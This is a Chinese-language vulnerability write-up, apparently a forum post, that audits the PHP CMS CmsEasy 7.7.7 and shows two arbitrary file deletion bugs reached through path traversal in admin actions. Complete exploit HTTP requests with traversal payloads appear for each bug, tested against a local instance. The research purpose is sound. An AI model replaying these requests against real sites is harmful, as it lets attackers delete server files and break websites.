PHP代码审计——cmseasy漏洞斩获CVE+2
Kode 发表于 湖南 漏洞分析 1507浏览 · 2024-04-24 11:09

起因

寒假时候开始初学php代码审计,成功审出了自己第一个CVE

首先

去官方网站下载他的源代码

发现他的并不是已直接/xxx/xxx/xxx.php进行访问的页面的,
接着就需要分析他的目录结构了。

经过测试发现他的lib/admin目录下的文件中的xxxx_admin对应的就是他后台case参数的请求,然后类中的xxxx_action方法的话就是对应着后台act参数的请求可以访问到xxxxx_admin.php

目前已经熟悉了网站的流程。
接着我们对于审计出来的漏洞进行分析

第一处任意文件删除


在image_admin.php文件里面有deleteimg_action方法并且看到存在unlink危险函数

于是便想到了是否存在任意文件删除漏洞,并且之前也提到过就是我们可以通过xxxx_admin对应的就是他后台case参数的请求,然后类中的xxxx_action方法对应着后台act参数的请求是可以进入到image_admin.php的

接着就是看有没有我们可控的参数

这里看到他有俩个变量:分别为get('dir')与 $imgname 并且发现$imgname是由front::get('imgname')得到的,并且对于$imgname设置的过滤,不能通过../../来遍历到上一级目录

但没有对于get('dir')进行过滤,由此我们需要判断dir是否可控,我们跟进去

跟进去发现他是将$get返回,我们接着跟进去

看到定义了一个$get静态方法。

全局搜索后发现,这个get其实就是$_GET。由此判断这个dir是可控的,并且他没有进行过滤

在cn目录下面创建一个1.php文件
然后我们传入构造好的exp

GET /index.php?case=image&act=deleteimg&admin_dir=admin&html_prefix=../&dir=../../../cn&imgname=1.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1/index.php?admin_dir=admin
Cookie: PHPSESSID=5e5m0fg9o8q7g33hjh3psli35r; login_username=admin; login_password=ipKgmUmdooa740qQkh537ndf4T2s4n64pznX0hpaOpa3D2ab18391e6e61e99aff8e10d05e4ad02
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

文件成功被删除

第二处任意文件删除

这次受影响的代码在template_admin.php里面

在editcategorytemplate_action方法中存在unlink危险方法

阅读代码发现这里的module_name是我们可控的,这个front::$post和之前的front::$get一样,这个post是由$_POST来获得的

发现参数可控并且没有进行过滤操作,因此我们便可以通过../../返回上级目录来进行任意文件删除操作
但是需要注意这里的$module_name进行了一个模糊匹配,看是否是{tag_xxx_xxx_xxx}类型,如果是这种的话,会进行分配给$module_type、$module_name和$module_id。

由此我们需要构造的module_name是以这种格式的:{tag_xxx_xxx}并且$str[4]为$module_id的值

对于具体的流程,我们还可以修改之前的源码,添加一个$a来打印被删除文件的路径。

正常的删除路径是这样的

但如果在2前面添加../../,则会实现目录穿越,从而删除CmsEasy_7.7.7_UTF-8_20240105\cn\template下的2.php文件


文件删除成功

exp:

POST /index.php?case=template&act=editcategorytemplate&admin_dir=admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/index.php?case=template&act=editcategorytemplate&admin_dir=admin
Cookie: PHPSESSID=202i8cbtlhlm9kmg95htiu1rb0; loginfalse=0; sidebar_backgroundImage=url("http://127.0.0.1/common/plugins/switcher/images/bg/01.jpg"), linear-gradient(45deg, rgb(51, 51, 51), rgb(51, 51, 51)); login_username=admin; login_password=hPJmzhrr-c1TJPHwEkqS3kG4Le7RnPpQ2kVc6QGW7sOeX2ab18391e6e61e99aff8e10d05e4ad02
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

id=1&module_name=213&module_name=%7Btag_buymodules_category_s_1_%2F..%2F..%2F..%2F..%2F2%7D
2 条评论
某人
表情
可输入 255